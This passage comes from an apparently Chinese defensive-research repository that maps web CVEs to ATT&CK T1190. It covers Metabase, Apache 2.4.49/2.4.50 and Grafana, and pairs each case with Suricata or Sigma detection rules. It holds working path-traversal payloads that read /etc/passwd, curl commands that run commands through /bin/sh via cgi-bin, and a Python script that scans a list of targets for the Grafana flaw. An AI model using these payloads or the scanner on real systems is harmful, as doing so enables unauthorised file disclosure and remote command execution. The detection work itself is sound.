vCenter远程命令执行漏洞分析\n<https://cert.360.cn/report/detail?id=62aac9b181bcfcb2b5faf33c6907a3dc>\nCVE-2021-21972-vCenter-6.5-7.0-RCE-POC\n<https://github.com/QmF0c3UK/CVE-2021-21972-vCenter-6.5-7.0-RCE-POC/blob/main/CVE-2021-21972.py>\n"
  },
  {
    "path": "Web/2021/T1190-CVE-2021-41277-Metabase 敏感信息泄露漏洞.md",
    "content": "# T1190-CVE-2021-41277-Metabase敏感信息泄露漏洞\n## 来自ATT&CK的描述\n使用软件，数据或命令来利用面向Internet的计算机系统或程序中的弱点，从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站，但是可以包括数据库（例如SQL），标准服务（例如SMB 或SSH）以及具有Internet可访问开放的任何其他应用程序，例如Web服务器和相关服务。根据所利用的缺陷，这可能包括“利用防御防卫”。\n如果应用程序托管在基于云的基础架构上，则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。\n对于网站和数据库，OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。\n## Metabase敏感信息泄露漏洞（CVE-2021-41277）\nmetabase是一个简单、开源的数据分析平台。\n在受影响的版本中，自定义GeoJSON地图（admin->settings->maps->custom maps->add a map）操作缺少权限验证，攻击者可通过该漏洞获得敏感信息。\n### 影响版本\n影响版本：\n```\nyml\nmetabase version < 0.40.5\nmetabase version >= 1.0.0, < 1.40.5\n```\nFOFA查询语句：app=\"metabase\"\n### 测试案例\nPOC：/api/geojson?url=file:/etc/passwd\n### 检测日志\nHTTP.log\n### 测试复现\n```\nyml\nGET /api/geojson?url=file:/etc/passwd HTTP/1.1\nHost: *.*.*.*:8888\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\nAccept-Encoding: gzip, deflate\nConnection: keep-alive\nUpgrade-Insecure-Requests: 1\nHTTP/1.1 200 OK\nDate: Fri, 26 Nov 2021 12:34:30 GMT\nX-Frame-Options: DENY\nX-XSS-Protection: 1; mode=block\nLast-Modified: Fri, 26 Nov 2021 20:34:30 +0800\nStrict-Transport-Security: max-age=31536000\nSet-Cookie: metabase.DEVICE=dd8c913f-87fb-483f-9e65-623657a0ca5a;HttpOnly;Path=/;SameSite=Lax;Expires=Sun, 17 Nov 2041 12:06:40 +0800\nX-Permitted-Cross-Domain-Policies: none\nCache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate\nX-Content-Type-Options: nosniff\nContent-Security-Policy: default-src 'none'; script-src 'self' 'unsafe-eval' https://maps.google.com https://apis.google.com https://www.google-analytics.com https://*.googleapis.com *.gstatic.com   'sha256-lMAh4yjVuDkQ9NqkK4H+YHUga+anpFs5JAuj/uZh0Rs=' 'sha256-sMNbXyc1lLzhHbH/CKs11HIQMnMkZAN2eA99WhJeEC0=' 'sha256-JJa56hyDfUbgNfq+0nq6Qs866JKgZ/+qCq2pkDJED8k='; child-src 'self' https://accounts.google.com; style-src 'self' 'unsafe-inline'; font-src 'self' ; img-src * 'self' data:; connect-src 'self' metabase.us10.list-manage.com ; manifest-src 'self';  frame-ancestors 'none';\nContent-Type: application/json\nContent-Encoding: gzip\nExpires: Tue, 03 Jul 2001 06:00:00 GMT\nTransfer-Encoding: chunked\nServer: Jetty(9.4.32.v20200930)\nroot:x:0:0:root:/root:/bin/bash\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\nadm:x:3:4:adm:/var/adm:/sbin/nologin\nlp:x:4:7:lp:/var/spool/lpd:/sbin/nologin\nsync:x:5:0:sync:/sbin:/bin/sync\nshutdown:x:6:0:shutdown:/sbin:/sbin/shutdown\nhalt:x:7:0:halt:/sbin:/sbin/halt\nmail:x:8:12:mail:/var/spool/mail:/sbin/nologin\noperator:x:11:0:operator:/root:/sbin/nologin\ngames:x:12:100:games:/usr/games:/sbin/nologin\nftp:x:14:50:FTP User:/var/ftp:/sbin/nologin\nnobody:x:99:99:Nobody:/:/sbin/nologin\nsystemd-bus-proxy:x:999:998:systemd Bus Proxy:/:/sbin/nologin\nsystemd-network:x:192:192:systemd Network Management:/:/sbin/nologin\ndbus:x:81:81:System message bus:/:/sbin/nologin\npolkitd:x:998:997:User for polkitd:/:/sbin/nologin\ntss:x:59:59:Account used by the trousers package to sandbox the tcsd daemon:/dev/null:/sbin/nologin\nsshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin\npostfix:x:89:89::/var/spool/postfix:/sbin/nologin\nchrony:x:997:995::/var/lib/chrony:/sbin/nologin\nntp:x:38:38::/etc/ntp:/sbin/nologin\nnscd:x:28:28:NSCD Daemon:/:/sbin/nologin\ntcpdump:x:72:72::/:/sbin/nologin\nops:x:1000:1000::/home/ops:/bin/bash\nservice:x:1001:1001::/home/service:/bin/bash\nzabbix:x:1002:1002::/home/zabbix:/sbin/nologin\ngrafana:x:996:994:grafana user:/usr/share/grafana:/sbin/nologin\nmysql:x:995:1003::/usr/local/mysql:/sbin/nologin\nsaslauth:x:994:76:Saslauthd user:/run/saslauthd:/sbin/nologin\nmetabase:x:1003:1004::/home/metabase:/bin/bash\nredis:x:993:991:Redis Database Server:/var/lib/redis:/sbin/nologin\nnginx:x:992:990:Nginx web server:/var/lib/nginx:/sbin/nologin\nopenvpn:x:991:989:OpenVPN:/etc/openvpn:/sbin/nologin\n```\n### 检测规则/思路\nSuricata规则\n```\ns\nalert http any any -> any any (msg:\"CVE-2021-41277-rsq\";flow:established,to_server;content:\"GET\";http_method;content:\"/api/geojson?url=file:/etc/passwd\";http_uri;reference:url,github.com/Seals6/CVE-2021-41277;flowbits:set,first_rsq;noalert;classtype:web-application-attck;sid:1;rev:1;)\nalert http any any -> any any (msg:\"CVE-2021-41277-Metabase敏感信息泄露漏洞\";flow:established,to_client;content:\"200\";http_stat_code;content:\"/bin/bash\";http_server_body;flowbits:isset,first_rsq;sid:2;rev:1;)\n```\n## 备注\n本案例仅做防御检测研究，请勿用于非法用途。\n## 参考推荐\nMITRE-ATT&CK-T1190\n<https://attack.mitre.org/techniques/T1190/>\nCVE-2021-41277-POC\n<https://github.com/Seals6/CVE-2021-41277>\n"
  },
  {
    "path": "Web/2021/T1190-CVE-2021-41773-Apache HTTP Server 2.4.49 路径穿越漏洞.md",
    "content": "# T1190-CVE-2021-41773-Apache HTTP Server 2.4.49路径穿越漏洞\n## 来自ATT&CK的描述\n使用软件，数据或命令来利用面向Internet的计算机系统或程序中的弱点，从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站，但是可以包括数据库（例如SQL），标准服务（例如SMB 或SSH）以及具有Internet可访问开放的任何其他应用程序，例如Web服务器和相关服务。根据所利用的缺陷，这可能包括“利用防御防卫”。\n如果应用程序托管在基于云的基础架构上，则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。\n对于网站和数据库，OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。\n## 测试案例\nApache HTTP Server是Apache基金会开源的一款流行的HTTP服务器。在其2.4.49版本中，引入了一个路径穿越漏洞，满足下面两个条件的Apache服务器将会受到影响：\n版本等于2.4.49\n穿越的目录允许被访问，比如配置了<Directory/>Require all granted</Directory>。（默认情况下是不允许的）\n攻击者利用这个漏洞，可以读取位于Apache服务器Web目录以外的其他文件，或者读取Web目录中的脚本文件源码，或者在开启了cgi或cgid的服务器上执行任意命令。\n## 漏洞详情\n使用如下CURL命令来发送Payload（注意其中的/icons/必须是一个存在且可访问的目录）：\n```\nyml\ncurl -v --path-as-is http://your-ip:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd\n```\n可见，成功读取到/etc/passwd：\n```\nyml\n*   Trying 10.211.55.10...\n* TCP_NODELAY set\n* Connected to 10.211.55.10 (10.211.55.10) port 8080 (#0)\n> GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1\n> Host: 10.211.55.10:8080\n> User-Agent: curl/7.64.1\n> Accept: */*\n>\n< HTTP/1.1 200 OK\n< Date: Sun, 10 Oct 2021 03:40:43 GMT\n< Server: Apache/2.4.49 (Unix)\n< Last-Modified: Mon, 27 Sep 2021 00:00:00 GMT\n< ETag: \"39e-5cceec7356000\"\n< Accept-Ranges: bytes\n< Content-Length: 926\n<\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n_apt:x:100:65534::/nonexistent:/usr/sbin/nologin\n* Connection #0 to host 10.211.55.10 left intact\n* Closing connection 0\n```\n在服务端开启了cgi或cgid这两个mod的情况下，这个路径穿越漏洞将可以执行任意命令：\n```\nyml\ncurl -v --data \"echo;id\" 'http://your-ip:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'\n```\n```\nyml\n*   Trying 10.211.55.10...\n* TCP_NODELAY set\n* Connected to 10.211.55.10 (10.211.55.10) port 8080 (#0)\n> POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1\n> Host: 10.211.55.10:8080\n> User-Agent: curl/7.64.1\n> Accept: */*\n> Content-Length: 7\n> Content-Type: application/x-www-form-urlencoded\n>\n* upload completely sent off: 7 out of 7 bytes\n< HTTP/1.1 200 OK\n< Date: Sun, 10 Oct 2021 03:45:29 GMT\n< Server: Apache/2.4.49 (Unix)\n< Transfer-Encoding: chunked\n<\nuid=1(daemon) gid=1(daemon) groups=1(daemon)\n* Connection #0 to host 10.211.55.10 left intact\n* Closing connection 0\n```\n## 检测日志\nHTTP.log\n```\nhttp.log\nGET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1\nHost: 10.211.55.10:8080\nUser-Agent: curl/7.64.1\nAccept: */*\nHTTP/1.1 200 OK\nDate: Sun, 10 Oct 2021 03:36:46 GMT\nServer: Apache/2.4.49 (Unix)\nLast-Modified: Mon, 27 Sep 2021 00:00:00 GMT\nETag: \"39e-5cceec7356000\"\nAccept-Ranges: bytes\nContent-Length: 926\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n_apt:x:100:65534::/nonexistent:/usr/sbin/nologin\n```\n```\nhttp.log\nPOST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1\nHost: 10.211.55.10:8080\nUser-Agent: curl/7.64.1\nAccept: */*\nContent-Length: 7\nContent-Type: application/x-www-form-urlencoded\necho;idHTTP/1.1 200 OK\nDate: Sun, 10 Oct 2021 03:36:51 GMT\nServer: Apache/2.4.49 (Unix)\nTransfer-Encoding: chunked\n2d\nuid=1(daemon) gid=1(daemon) groups=1(daemon)\n0\n```\n## 测试复现\n可参考漏洞详情部分\n## 检测规则/思路\n### sigma规则\n```\nyml\ntitle: CVE-2021-41773-Apache HTTP Server 2.4.49路径穿越漏洞\nstatus: 测试状态\ndescription: 基于HTTP日志进行检测\nreferences:\n    - https://github.com/vulhub/vulhub/blob/master/httpd/CVE-2021-41773/README.zh-cn.md\n    - https://www.t00ls.cc/viewthread.php?tid=62967&highlight=CVE-2021-41773\ndetection:\n    selection1:\n        cs-method: 'POST' #请求方法为POST\n        c-uri: #请求url中包含以下路径\n            - '.%2e/.%2e/.%2e/.%2e'\n    selection2:\n        cs-method: 'GET' #请求方法为GET\n        c-uri: '.%2e/%2e%2e/%2e%2e/%2e%2e/'\n    condition: selection\nfields:\n    - c-ip\n    - c-dns\nfalsepositives:\n    - 观察返回状态码是否为200 OK。\nlevel: high\n```\n### 建议\n建议使用HTTP流量+安全设备(如天眼等)进行检测分析判断攻击是否成功。\n## 参考推荐\nMITRE-ATT&CK-T1190\n<https://attack.mitre.org/techniques/T1190/>\nCVE-2021-41773 Apache漏洞分析及RCE思路\n<https://www.t00ls.cc/viewthread.php?tid=62967&highlight=CVE-2021-41773>\nApache HTTP Server 2.4.49 路径穿越漏洞（CVE-2021-41773）\n<https://github.com/vulhub/vulhub/blob/master/httpd/CVE-2021-41773/README.zh-cn.md>\n"
  },
  {
    "path": "Web/2021/T1190-CVE-2021-42013-Apache HTTP Server 2.4.50 路径穿越漏洞.md",
    "content": "# T1190-CVE-2021-42013-Apache HTTP Server 2.4.50路径穿越漏洞\n## 来自ATT&CK的描述\n使用软件，数据或命令来利用面向Internet的计算机系统或程序中的弱点，从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站，但是可以包括数据库（例如SQL），标准服务（例如SMB 或SSH）以及具有Internet可访问开放的任何其他应用程序，例如Web服务器和相关服务。根据所利用的缺陷，这可能包括“利用防御防卫”。\n如果应用程序托管在基于云的基础架构上，则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。\n对于网站和数据库，OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。\n## 测试案例\nApache HTTP Server是Apache基金会开源的一款流行的HTTP服务器。Apache官方在2.4.50版本中对2.4.49版本中出现的目录穿越漏洞CVE-2021-41773进行了修复，但这个修复是不完整的，CVE-2021-42013是对补丁的绕过。\n攻击者利用这个漏洞，可以读取位于Apache服务器Web目录以外的其他文件，或者读取Web目录中的脚本文件源码，或者在开启了cgi或cgid的服务器上执行任意命令。\n这个漏洞可以影响Apache HTTP Server 2.4.49以及2.4.50两个版本。\n## 漏洞详情\n使用CVE-2021-41773中的Payload已经无法成功利用漏洞了，说明2.4.50进行了修复。\n但我们可以使用.%%32%65进行绕过（注意其中的/icons/必须是一个存在且可访问的目录）：\n```\nyml\ncurl -v --path-as-is http://your-ip:8080/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd\n```\n可见，成功读取到/etc/passwd：\n```\nyml\ncurl -v --path-as-is http://10.211.55.10:8080/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd\n*   Trying 10.211.55.10...\n* TCP_NODELAY set\n* Connected to 10.211.55.10 (10.211.55.10) port 8080 (#0)\n> GET /icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd HTTP/1.1\n> Host: 10.211.55.10:8080\n> User-Agent: curl/7.64.1\n> Accept: */*\n>\n< HTTP/1.1 200 OK\n< Date: Sun, 10 Oct 2021 05:33:12 GMT\n< Server: Apache/2.4.50 (Unix)\n< Last-Modified: Mon, 27 Sep 2021 00:00:00 GMT\n< ETag: \"39e-5cceec7356000\"\n< Accept-Ranges: bytes\n< Content-Length: 926\n<\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n_apt:x:100:65534::/nonexistent:/usr/sbin/nologin\n* Connection #0 to host 10.211.55.10 left intact\n* Closing connection 0\n```\n在服务端开启了cgi或cgid这两个mod的情况下，这个路径穿越漏洞将可以执行任意命令：\n```\nyml\ncurl -v --data \"echo;id\" 'http://your-ip:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'\n```\n```\nyml\ncurl -v --data \"echo;id\" 'http://10.211.55.10:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'\n*   Trying 10.211.55.10...\n* TCP_NODELAY set\n* Connected to 10.211.55.10 (10.211.55.10) port 8080 (#0)\n> POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1\n> Host: 10.211.55.10:8080\n> User-Agent: curl/7.64.1\n> Accept: */*\n> Content-Length: 7\n> Content-Type: application/x-www-form-urlencoded\n>\n* upload completely sent off: 7 out of 7 bytes\n< HTTP/1.1 200 OK\n< Date: Sun, 10 Oct 2021 05:34:09 GMT\n< Server: Apache/2.4.50 (Unix)\n< Transfer-Encoding: chunked\n<\nuid=1(daemon) gid=1(daemon) groups=1(daemon)\n* Connection #0 to host 10.211.55.10 left intact\n* Closing connection 0\n```\n## 检测日志\nHTTP.log\n```\nhttp.log\nGET /icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd HTTP/1.1\nHost: 10.211.55.10:8080\nUser-Agent: curl/7.64.1\nAccept: */*\nHTTP/1.1 200 OK\nDate: Sun, 10 Oct 2021 05:39:09 GMT\nServer: Apache/2.4.50 (Unix)\nLast-Modified: Mon, 27 Sep 2021 00:00:00 GMT\nETag: \"39e-5cceec7356000\"\nAccept-Ranges: bytes\nContent-Length: 926\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n_apt:x:100:65534::/nonexistent:/usr/sbin/nologin\n```\n```\nhttp.log\nPOST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1\nHost: 10.211.55.10:8080\nUser-Agent: curl/7.64.1\nAccept: */*\nContent-Length: 7\nContent-Type: application/x-www-form-urlencoded\necho;idHTTP/1.1 200 OK\nDate: Sun, 10 Oct 2021 05:39:11 GMT\nServer: Apache/2.4.50 (Unix)\nTransfer-Encoding: chunked\n2d\nuid=1(daemon) gid=1(daemon) groups=1(daemon)\n0\n```\n## 测试复现\n可参考漏洞详情部分\n## 检测规则/思路\n### sigma规则\n```\nyml\ntitle: CVE-2021-42013-Apache HTTP Server 2.4.50路径穿越漏洞\nstatus: 测试状态\ndescription: 基于HTTP日志进行检测\nreferences:\n    - https://github.com/vulhub/vulhub/blob/master/httpd/CVE-2021-42013/README.zh-cn.md\ndetection:\n    selection:\n        cs-method:\n            - 'GET' #请求方法为GET\n            - 'POST' #请求方法为POST\n        c-uri: '.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65'\n    condition: selection\nfields:\n    - c-ip\n    - c-dns\nfalsepositives:\n    - 观察返回状态码是否为200 OK。\nlevel: high\n```\n也可以根据自己实际需求，编写suricata规则。\n流量包下载位置:<https://pan.baidu.com/s/1m-rysxGIeMVfZNIBuaRa2Q>\n提取码:0wff\n### 建议\n建议使用HTTP流量+安全设备(如天眼等)进行检测分析判断攻击是否成功。\n## 参考推荐\nMITRE-ATT&CK-T1190\n<https://attack.mitre.org/techniques/T1190/>\nApache HTTP Server 2.4.50 路径穿越漏洞（CVE-2021-42013）\n<https://github.com/vulhub/vulhub/blob/master/httpd/CVE-2021-42013/README.zh-cn.md>\n"
  },
  {
    "path": "Web/2021/T1190-CVE-2021-43798-Grafana任意文件读取漏洞.md",
    "content": "# T1190-CVE-2021-43798 Grafana 任意文件读取漏洞\n## 来自ATT&CK的描述\n使用软件，数据或命令来利用面向Internet的计算机系统或程序中的弱点，从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站，但是可以包括数据库（例如SQL），标准服务（例如SMB 或SSH）以及具有Internet可访问开放的任何其他应用程序，例如Web服务器和相关服务。根据所利用的缺陷，这可能包括“利用防御防卫”。\n如果应用程序托管在基于云的基础架构上，则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。\n对于网站和数据库，OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。\n## 测试案例\nGrafana是一个跨平台、开源的数据可视化网络应用程序平台。用户配置连接的数据源之后，Grafana可以在网络浏览器里显示数据图表和警告。Grafana 存在未授权任意文件读取漏洞，攻击者在未经身份验证的情况下可通过该漏洞读取主机上的任意文件。\n影响范围：Grafana 8.0.0-beta1 to 8.3.0\nFOFa查询语句：app=\"Grafana\"\n## 检测日志\nHTTP.log\n## 测试复现\n漏洞利用方式建议参考：Grafana未授权任意文件读取漏洞\n<https://www.cnblogs.com/bflw/p/15659188.html>\n具体POC可参考：\n```\npython\n# coding:utf-8\n# Author：绯夜 By T00ls.Net\nimport requests,urllib3\nimport urllib.request\nimport ssl\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\nrequests.packages.urllib3.disable_warnings()\nurls = open('url.txt')\nheaders = {\n'User-Agent':\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36\"\n}\nfor i in urls:\n    url = i.rstrip(\"\\n\")\n    list = ['/public/plugins/alertGroups/../../../../../../../../etc/passwd',\n'/public/plugins/alertlist/../../../../../../../../etc/passwd',\n'/public/plugins/alertmanager/../../../../../../../../etc/passwd',\n'/public/plugins/annolist/../../../../../../../../etc/passwd',\n'/public/plugins/barchart/../../../../../../../../etc/passwd',\n'/public/plugins/bargauge/../../../../../../../../etc/passwd',\n'/public/plugins/canvas/../../../../../../../../etc/passwd',\n'/public/plugins/cloudwatch/../../../../../../../../etc/passwd',\n'/public/plugins/dashboard/../../../../../../../../etc/passwd',\n'/public/plugins/dashlist/../../../../../../../../etc/passwd',\n'/public/plugins/debug/../../../../../../../../etc/passwd',\n'/public/plugins/elasticsearch/../../../../../../../../etc/passwd',\n'/public/plugins/gauge/../../../../../../../../etc/passwd',\n'/public/plugins/geomap/../../../../../../../../etc/passwd',\n'/public/plugins/gettingstarted/../../../../../../../../etc/passwd',\n'/public/plugins/grafana-azure-monitor-datasource/../../../../../../../../etc/passwd',\n'/public/plugins/grafana/../../../../../../../../etc/passwd',\n'/public/plugins/graph/../../../../../../../../etc/passwd',\n'/public/plugins/graphite/../../../../../../../../etc/passwd',\n'/public/plugins/heatmap/../../../../../../../../etc/passwd',\n'/public/plugins/histogram/../../../../../../../../etc/passwd',\n'/public/plugins/influxdb/../../../../../../../../etc/passwd',\n'/public/plugins/jaeger/../../../../../../../../etc/passwd',\n'/public/plugins/live/../../../../../../../../etc/passwd',\n'/public/plugins/logs/../../../../../../../../etc/passwd',\n'/public/plugins/loki/../../../../../../../../etc/passwd',\n'/public/plugins/mixed/../../../../../../../../etc/passwd',\n'/public/plugins/mssql/../../../../../../../../etc/passwd',\n'/public/plugins/mysql/../../../../../../../../etc/passwd',\n'/public/plugins/news/../../../../../../../../etc/passwd',\n'/public/plugins/nodeGraph/../../../../../../../../etc/passwd',\n'/public/plugins/opentsdb/../../../../../../../../etc/passwd',\n'/public/plugins/piechart/../../../../../../../../etc/passwd',\n'/public/plugins/pluginlist/../../../../../../../../etc/passwd',\n'/public/plugins/postgres/../../../../../../../../etc/passwd',\n'/public/plugins/prometheus/../../../../../../../../etc/passwd',\n'/public/plugins/stat/../../../../../../../../etc/passwd',\n'/public/plugins/state-timeline/../../../../../../../../etc/passwd',\n'/public/plugins/status-history/../../../../../../../../etc/passwd',\n'/public/plugins/table-old/../../../../../../../../etc/passwd',\n'/public/plugins/table/../../../../../../../../etc/passwd',\n'/public/plugins/tempo/../../../../../../../../etc/passwd',\n'/public/plugins/testdata/../../../../../../../../etc/passwd',\n'/public/plugins/text/../../../../../../../../etc/passwd',\n'/public/plugins/timeseries/../../../../../../../../etc/passwd',\n'/public/plugins/welcome/../../../../../../../../etc/passwd',\n'/public/plugins/xychart/../../../../../../../../etc/passwd',\n'/public/plugins/zipkin/../../../../../../../../etc/passwd',]\n    for i in list:\n        urls = url +i\n        try:\n            try:\n                request = urllib.request.urlopen(urls,timeout=8)\n                content = request.read().decode('utf-8')\n            except:\n                request = urllib.request.urlopen(urls, context=ssl._create_unverified_context(),timeout=8)\n                content = request.read().decode('utf-8')\n            if 'root:x:0:0:root' in content:\n                print(\"[+] Sussess  \"+urls)\n                result = urls+\"==>Success\"\n                with open(\"Success.txt\", \"a+\") as a:\n                    a.write(result + '\\n')\n                break\n        except:\n            print(\"[*] Failed\")\n```\n## 测试留痕\n暂未进行实际有效的测试，故引用他人测试数据信息。\n<https://blog.riskivy.com/wp-content/uploads/2021/12/md-1.png>\n## 检测规则/思路\n### Sigma规则\n建议使用HTTP流量+安全设备进行检测分析判断攻击是否成功。\n```\nyml\ntitle: CVE-2021-43798 Grafana 任意文件读取漏洞\nstatus: experimental\ndescription: Grafana 存在未授权任意文件读取漏洞，攻击者在未经身份验证的情况下可通过该漏洞读取主机上的任意文件。\nreferences:\n    - https://saucer-man.com/information_security/856.html\nauthor: 12306Br0\ndate: 2021/12/09\ntags:\n    - attack.initial_access\n    - attack.t1190\nlogsource:\n    category: webserver\ndetection:\n    selection:\n        cs-method: 'GET'\n        c-uri|contains|all:\n            - '/../../../../../../../../'\n            - '/public/plugins'\n    condition: selection\nfields:\n    - c-ip\n    - c-dns\nfalsepositives:\n    - Unknown\nlevel: critical\n```\n### 建议\n观察请求包与响应报内容。如请求路径中包含/etc/passwd，代表攻击者尝试读取/etc/passwd下密码信息，如响应状态码为200，且响应包中包含root:x:0:0:root，意味着攻击成功；如请求路径中包含/var/lib/grafana/grafana.db，代表攻击者尝试读取数据库文件，如果响应状态码为200，且响应包z中包含SQLite format，很意味着攻击成功。\n## 参考推荐\nMITRE-ATT&CK-T1190\n<https://attack.mitre.org/techniques/T1190/>\nGrafana 